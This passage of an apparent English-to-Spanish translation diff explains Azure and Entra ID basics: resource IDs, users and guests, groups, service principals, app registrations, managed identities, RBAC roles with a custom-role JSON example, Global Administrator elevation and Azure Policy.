recursos, todos los recursos dentro de él también se eliminan.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### IDs de Recursos de Azure -Every resource in Azure has an Azure Resource ID that identifies it. +Cada recurso en Azure tiene un ID de Recurso de Azure que lo identifica. -The format of an Azure Resource ID is as follows: +El formato de un ID de Recurso de Azure es el siguiente: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +Para una máquina virtual llamada myVM en un grupo de recursos `myResourceGroup` bajo el ID de suscripción `12345678-1234-1234-1234-123456789012`, el ID de Recurso de Azure se ve así: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Servicios de Dominio de Azure AD ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure es la **plataforma de computación en la nube integral de Microsoft, que ofrece una amplia gama de servicios**, incluyendo máquinas virtuales, bases de datos, inteligencia artificial y almacenamiento. Actúa como la base para alojar y gestionar aplicaciones, construir infraestructuras escalables y ejecutar cargas de trabajo modernas en la nube. Azure proporciona herramientas para desarrolladores y profesionales de TI para crear, desplegar y gestionar aplicaciones y servicios sin problemas, atendiendo a una variedad de necesidades desde startups hasta grandes empresas. -### Entra ID (formerly Azure Active Directory) +### Entra ID (anteriormente Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID es un servicio de **gestión de identidad y acceso basado en la nube** diseñado para manejar la autenticación, autorización y control de acceso de usuarios. Potencia el acceso seguro a servicios de Microsoft como Office 365, Azure y muchas aplicaciones SaaS de terceros. Con características como inicio de sesión único (SSO), autenticación multifactor (MFA) y políticas de acceso condicional, entre otras. -### Entra Domain Services (formerly Azure AD DS) +### Servicios de Dominio de Entra (anteriormente Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Los Servicios de Dominio de Entra amplían las capacidades de Entra ID al ofrecer **servicios de dominio administrados compatibles con entornos tradicionales de Windows Active Directory**. Soporta protocolos heredados como LDAP, Kerberos y NTLM, permitiendo a las organizaciones migrar o ejecutar aplicaciones más antiguas en la nube sin desplegar controladores de dominio locales. Este servicio también soporta Políticas de Grupo para gestión centralizada, haciéndolo adecuado para escenarios donde cargas de trabajo heredadas o basadas en AD necesitan coexistir con entornos modernos en la nube. -## Entra ID Principals +## Principales de Entra ID -### Users +### Usuarios -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **Nuevos usuarios** +- Indicar nombre de correo electrónico y dominio del inquilino seleccionado +- Indicar nombre para mostrar +- Indicar contraseña +- Indicar propiedades (nombre, título del trabajo, información de contacto…) +- El tipo de usuario predeterminado es “**miembro**” +- **Usuarios externos** +- Indicar correo electrónico para invitar y nombre para mostrar (puede ser un correo electrónico no de Microsoft) +- Indicar propiedades +- El tipo de usuario predeterminado es “**Invitado**” -### Members & Guests Default Permissions +### Permisos Predeterminados para Miembros e Invitados -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Puedes consultarlos en [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) pero entre otras acciones, un miembro podrá: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Leer todos los usuarios, Grupos, Aplicaciones, Dispositivos, Roles, Suscripciones y sus propiedades públicas +- Invitar Invitados (_se puede desactivar_) +- Crear grupos de seguridad +- Leer membresías de grupos no ocultos +- Agregar invitados a grupos de propiedad +- Crear nueva aplicación (_se puede desactivar_) +- Agregar hasta 50 dispositivos a Azure (_se puede desactivar_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Recuerda que para enumerar recursos de Azure, el usuario necesita un otorgamiento explícito del permiso. -### Users Default Configurable Permissions +### Permisos Configurables Predeterminados para Usuarios -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Miembros (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Registrar Aplicaciones: Predeterminado **Sí** +- Restringir a los usuarios no administradores de crear inquilinos: Predeterminado **No** +- Crear grupos de seguridad: Predeterminado **Sí** +- Restringir el acceso al portal de administración de Microsoft Entra: Predeterminado **No** +- Esto no restringe el acceso a la API del portal (solo web) +- Permitir a los usuarios conectar cuentas de trabajo o escolares con LinkedIn: Predeterminado **Sí** +- Mostrar mantener al usuario conectado: Predeterminado **Sí** +- Restringir a los usuarios de recuperar la(s) clave(s) de BitLocker para sus dispositivos: Predeterminado No (ver en Configuración de Dispositivos) +- Leer otros usuarios: Predeterminado **Sí** (a través de Microsoft Graph) +- **Invitados** +- **Restricciones de acceso para usuarios invitados** +- **Los usuarios invitados tienen el mismo acceso que los miembros** otorga todos los permisos de usuario miembro a los usuarios invitados por defecto. +- **Los usuarios invitados tienen acceso limitado a propiedades y membresías de objetos de directorio (predeterminado)** restringe el acceso de invitados solo a su propio perfil de usuario por defecto. El acceso a información de otros usuarios y grupos ya no está permitido. +- **El acceso de los usuarios invitados está restringido a propiedades y membresías de sus propios objetos de directorio** es el más restrictivo. +- **Los invitados pueden invitar** +- **Cualquiera en la organización puede invitar a usuarios invitados, incluidos invitados y no administradores (el más inclusivo) - Predeterminado** +- **Los usuarios miembros y los usuarios asignados a roles de administrador específicos pueden invitar a usuarios invitados, incluidos invitados con permisos de miembro** +- **Solo los usuarios asignados a roles de administrador específicos pueden invitar a usuarios invitados** +- **Nadie en la organización puede invitar a usuarios invitados, incluidos administradores (el más restrictivo)** +- **Los usuarios externos pueden salir**: Predeterminado **Verdadero** +- Permitir a los usuarios externos salir de la organización > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Aunque esté restringido por defecto, los usuarios (miembros e invitados) con permisos otorgados podrían realizar las acciones anteriores. -### **Groups** +### **Grupos** -There are **2 types of groups**: +Hay **2 tipos de grupos**: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Seguridad**: Este tipo de grupo se utiliza para dar acceso a los miembros a aplicaciones, recursos y asignar licencias. Los usuarios, dispositivos, principales de servicio y otros grupos pueden ser miembros. +- **Microsoft 365**: Este tipo de grupo se utiliza para la colaboración, dando acceso a los miembros a un buzón compartido, calendario, archivos, sitio de SharePoint, etc. Los miembros del grupo solo pueden ser usuarios. +- Esto tendrá una **dirección de correo electrónico** con el dominio del inquilino de EntraID. -There are **2 types of memberships**: +Hay **2 tipos de membresías**: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Asignado**: Permite agregar manualmente miembros específicos a un grupo. +- **Membresía dinámica**: Gestiona automáticamente la membresía utilizando reglas, actualizando la inclusión del grupo cuando cambian los atributos de los miembros. -### **Service Principals** +### **Principales de Servicio** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +Un **Principal de Servicio** es una **identidad** creada para **uso** con **aplicaciones**, servicios alojados y herramientas automatizadas para acceder a recursos de Azure. Este acceso está **restringido por los roles asignados** al principal de servicio, dándote control sobre **qué recursos pueden ser accedidos** y a qué nivel. Por razones de seguridad, siempre se recomienda **usar principales de servicio con herramientas automatizadas** en lugar de permitirles iniciar sesión con una identidad de usuario. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +Es posible **iniciar sesión directamente como un principal de servicio** generándole un **secreto** (contraseña), un **certificado**, o otorgando acceso **federado** a plataformas de terceros (por ejemplo, Github Actions) sobre él. -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- Si eliges la autenticación por **contraseña** (por defecto), **guarda la contraseña generada** ya que no podrás acceder a ella nuevamente. +- Si eliges la autenticación por certificado, asegúrate de que la **aplicación tenga acceso sobre la clave privada**. -### App Registrations +### Registraciones de Aplicaciones -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +Una **Registración de Aplicación** es una configuración que permite a una aplicación integrarse con Entra ID y realizar acciones. -#### Key Components: +#### Componentes Clave: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **ID de Aplicación (Client ID):** Un identificador único para tu aplicación en Azure AD. +2. **URIs de Redirección:** URLs donde Azure AD envía respuestas de autenticación. +3. **Certificados, Secretos y Credenciales Federadas:** Es posible generar un secreto o un certificado para iniciar sesión como el principal de servicio de la aplicación, o para otorgar acceso federado a ella (por ejemplo, Github Actions). +1. Si se genera un **certificado** o **secreto**, es posible que una persona **inicie sesión como el principal de servicio** con herramientas CLI al conocer el **ID de aplicación**, el **secreto** o **certificado** y el **inquilino** (dominio o ID). +4. **Permisos de API:** Especifica qué recursos o APIs puede acceder la aplicación. +5. **Configuraciones de Autenticación:** Define los flujos de autenticación soportados por la aplicación (por ejemplo, OAuth2, OpenID Connect). +6. **Principal de Servicio**: Un principal de servicio se crea cuando se crea una Aplicación (si se hace desde la consola web) o cuando se instala en un nuevo inquilino. +1. El **principal de servicio** obtendrá todos los permisos solicitados con los que fue configurado. -### Default Consent Permissions +### Permisos de Consentimiento Predeterminados -**User consent for applications** +**Consentimiento del usuario para aplicaciones** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **No permitir el consentimiento del usuario** +- Se requerirá un administrador para todas las aplicaciones. +- **Permitir el consentimiento del usuario para aplicaciones de editores verificados, para permisos seleccionados (Recomendado)** +- Todos los usuarios pueden consentir permisos clasificados como "bajo impacto", para aplicaciones de editores verificados o aplicaciones registradas en esta organización. +- **Permisos de bajo impacto predeterminados** (aunque necesitas aceptar para agregarlos como bajos): +- User.Read - iniciar sesión y leer el perfil del usuario +- offline_access - mantener acceso a datos a los que los usuarios le han dado acceso +- openid - iniciar sesión a los usuarios +- profile - ver el perfil básico del usuario +- email - ver la dirección de correo electrónico del usuario +- **Permitir el consentimiento del usuario para aplicaciones (Predeterminado)** +- Todos los usuarios pueden consentir que cualquier aplicación acceda a los datos de la organización. -**Admin consent requests**: Default **No** +**Solicitudes de consentimiento de administrador**: Predeterminado **No** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Los usuarios pueden solicitar consentimiento de administrador para aplicaciones a las que no pueden consentir +- Si **Sí**: Es posible indicar Usuarios, Grupos y Roles que pueden consentir solicitudes +- Configura también si los usuarios recibirán notificaciones por correo electrónico y recordatorios de expiración -### **Managed Identity (Metadata)** +### **Identidad Administrada (Metadatos)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Las identidades administradas en Azure Active Directory ofrecen una solución para **gestionar automáticamente la identidad** de las aplicaciones. Estas identidades son utilizadas por las aplicaciones con el propósito de **conectarse** a **recursos** compatibles con la autenticación de Azure Active Directory (**Azure AD**). Esto permite **eliminar la necesidad de codificar credenciales en la nube** en el código, ya que la aplicación podrá contactar el servicio de **metadatos** para obtener un token válido para **realizar acciones** como la identidad administrada indicada en Azure. -There are two types of managed identities: +Hay dos tipos de identidades administradas: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Asignadas por el sistema**. Algunos servicios de Azure permiten **habilitar una identidad administrada directamente en una instancia de servicio**. Cuando habilitas una identidad administrada asignada por el sistema, se crea un **principal de servicio** en el inquilino de Entra ID confiado por la suscripción donde se encuentra el recurso. Cuando se **elimina el recurso**, Azure automáticamente **elimina** la **identidad** por ti. +- **Asignadas por el usuario**. También es posible que los usuarios generen identidades administradas. Estas se crean dentro de un grupo de recursos dentro de una suscripción y se creará un principal de servicio en el EntraID confiado por la suscripción. Luego, puedes asignar la identidad administrada a una o **más instancias** de un servicio de Azure (múltiples recursos). Para identidades administradas asignadas por el usuario, la **identidad se gestiona por separado de los recursos que la utilizan**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Las Identidades Administradas **no generan credenciales eternas** (como contraseñas o certificados) para acceder como el principal de servicio adjunto a ella. -### Enterprise Applications +### Aplicaciones Empresariales -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +Es solo una **tabla en Azure para filtrar principales de servicio** y verificar las aplicaciones que se les han asignado. -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**No es otro tipo de “aplicación”,** no hay ningún objeto en Azure que sea una “Aplicación Empresarial”, es solo una abstracción para verificar los Principales de Servicio, Registraciones de Aplicaciones e identidades administradas. -### Administrative Units +### Unidades Administrativas -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +Las unidades administrativas permiten **otorgar permisos de un rol sobre una porción específica de una organización**. -Example: +Ejemplo: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Escenario: Una empresa quiere que los administradores de TI regionales gestionen solo a los usuarios en su propia región. +- Implementación: +- Crear Unidades Administrativas para cada región (por ejemplo, "AU de América del Norte", "AU de Europa"). +- Población de AUs con usuarios de sus respectivas regiones. +- Las AUs pueden **contener usuarios, grupos o dispositivos** +- Las AUs soportan **membresías dinámicas** +- Las AUs **no pueden contener AUs** +- Asignar Roles de Administrador: +- Otorgar el rol de "Administrador de Usuarios" al personal de TI regional, limitado a la AU de su región. +- Resultado: Los administradores de TI regionales pueden gestionar cuentas de usuario dentro de su región sin afectar a otras regiones. -### Entra ID Roles +### Roles de Entra ID -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Para gestionar Entra ID hay algunos **roles integrados** que pueden ser asignados a principales de Entra ID para gestionar Entra ID +- Consulta los roles en [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- El rol más privilegiado es **Administrador Global** +- En la descripción del rol es posible ver sus **permisos granulares** -## Roles & Permissions +## Roles y Permisos -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Los roles** son **asignados** a **principales** en un **alcance**: `principal -[HAS ROLE]->(scope)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Los roles** asignados a **grupos** son **heredados** por todos los **miembros** del grupo. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +Dependiendo del alcance al que se asignó el rol, el **rol** podría ser **heredado** a **otros recursos** dentro del contenedor de alcance. Por ejemplo, si un usuario A tiene un **rol en la suscripción**, tendrá ese **rol en todos los grupos de recursos** dentro de la suscripción y en **todos los recursos** dentro del grupo de recursos. -### **Classic Roles** +### **Roles Clásicos** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Propietario** |
  • Acceso total a todos los recursos
  • Puede gestionar el acceso para otros usuarios
| Todos los tipos de recursos | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Colaborador** |
  • Acceso total a todos los recursos
  • No puede gestionar el acceso
| Todos los tipos de recursos | +| **Lector** | • Ver todos los recursos | Todos los tipos de recursos | +| **Administrador de Acceso de Usuario** |
  • Ver todos los recursos
  • Puede gestionar el acceso para otros usuarios
| Todos los tipos de recursos | -### Built-In roles +### Roles Integrados -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[De la documentación: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[El control de acceso basado en roles de Azure (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) tiene varios **roles integrados de Azure** que puedes **asignar** a **usuarios, grupos, principales de servicio y identidades administradas**. Las asignaciones de roles son la forma en que controlas **el acceso a los recursos de Azure**. Si los roles integrados no satisfacen las necesidades específicas de tu organización, puedes crear tus propios [**roles personalizados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +Los roles **integrados** se aplican solo a los **recursos** para los que están **destinados**, por ejemplo, consulta estos 2 ejemplos de **roles integrados sobre recursos de Cómputo**: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Lector de Copia de Seguridad de Disco](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Proporciona permiso al cofre de copia de seguridad para realizar copias de seguridad de disco. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Inicio de Sesión de Usuario de Máquina Virtual](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Ver Máquinas Virtuales en el portal e iniciar sesión como un usuario regular. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Estos roles también pueden **ser asignados sobre contenedores lógicos** (como grupos de gestión, suscripciones y grupos de recursos) y los principales afectados los tendrán **sobre los recursos dentro de esos contenedores**. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Encuentra aquí una lista con [**todos los roles integrados de Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Encuentra aquí una lista con [**todos los roles integrados de Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). -### Custom Roles +### Roles Personalizados -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- También es posible crear [**roles personalizados**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- Se crean dentro de un alcance, aunque un rol puede estar en varios alcances (grupos de gestión, suscripción y grupos de recursos) +- Es posible configurar todos los permisos granulares que tendrá el rol personalizado +- Es posible excluir permisos +- Un principal con un permiso excluido no podrá usarlo incluso si el permiso se otorga en otro lugar +- Es posible usar comodines +- El formato utilizado es un JSON +- `actions` son para controlar acciones sobre el recurso +- `dataActions` son permisos sobre los datos dentro del objeto +Ejemplo de JSON de permisos para un rol personalizado: ```json { - "properties": { - "roleName": "", - "description": "", - "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], - "permissions": [ - { - "actions": [ - "Microsoft.DigitalTwins/register/action", - "Microsoft.DigitalTwins/unregister/action", - "Microsoft.DigitalTwins/operations/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/read", - "Microsoft.DigitalTwins/digitalTwinsInstances/write", - "Microsoft.CostManagement/exports/*" - ], - "notActions": [ - "Astronomer.Astro/register/action", - "Astronomer.Astro/unregister/action", - "Astronomer.Astro/operations/read", - "Astronomer.Astro/organizations/read" - ], - "dataActions": [], - "notDataActions": [] - } - ] - } +"properties": { +"roleName": "", +"description": "", +"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"], +"permissions": [ +{ +"actions": [ +"Microsoft.DigitalTwins/register/action", +"Microsoft.DigitalTwins/unregister/action", +"Microsoft.DigitalTwins/operations/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/read", +"Microsoft.DigitalTwins/digitalTwinsInstances/write", +"Microsoft.CostManagement/exports/*" +], +"notActions": [ +"Astronomer.Astro/register/action", +"Astronomer.Astro/unregister/action", +"Astronomer.Astro/operations/read", +"Astronomer.Astro/organizations/read" +], +"dataActions": [], +"notDataActions": [] +} +] +} } ``` +### Orden de permisos -### Permissions order - -- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**. -- An explicit **deny role assignment takes precedence** over the role granting the permission. +- Para que un **principal tenga acceso a un recurso**, necesita que se le otorgue un rol explícito (de cualquier manera) **que le otorgue ese permiso**. +- Una asignación de rol explícita de **denegación tiene prioridad** sobre el rol que otorga el permiso.

https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

-### Global Administrator +### Administrador Global -Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default. +El Administrador Global es un rol de Entra ID que otorga **control total sobre el inquilino de Entra ID**. Sin embargo, no otorga permisos sobre los recursos de Azure por defecto. -Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\ -This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties) +Los usuarios con el rol de Administrador Global tienen la capacidad de '**elevar' a Administrador de Acceso de Usuario en el Grupo de Gestión Raíz de Azure**. Así que los Administradores Globales pueden gestionar el acceso en **todas las suscripciones y grupos de gestión de Azure.**\ +Esta elevación se puede hacer al final de la página: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
-### Azure Policies +### Políticas de Azure -**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking. +**Las Políticas de Azure** son reglas que ayudan a las organizaciones a asegurar que sus recursos cumplan con estándares específicos y requisitos de cumplimiento. Permiten **hacer cumplir o auditar configuraciones en recursos de Azure**. Por ejemplo, puedes prevenir la creación de máquinas virtuales en una región no autorizada o asegurar que todos los recursos tengan etiquetas específicas para el seguimiento. -Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources. +Las Políticas de Azure son **proactivas**: pueden detener la creación o modificación de recursos no conformes. También son **reactivas**, permitiéndote encontrar y corregir recursos no conformes existentes. -#### **Key Concepts** +#### **Conceptos Clave** -1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required. -2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group). -3. **Initiatives**: A collection of policies grouped together for broader enforcement. -4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append"). +1. **Definición de Política**: Una regla, escrita en JSON, que especifica lo que está permitido o requerido. +2. **Asignación de Política**: La aplicación de una política a un alcance específico (por ejemplo, suscripción, grupo de recursos). +3. **Iniciativas**: Una colección de políticas agrupadas para una aplicación más amplia. +4. **Efecto**: Especifica lo que sucede cuando se activa la política (por ejemplo, "Denegar", "Auditar" o "Agregar"). -**Some examples:** +**Algunos ejemplos:** -1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance. -2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments. -3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs. -4. **Enforcing Tagging Policies**: Tags are key-value 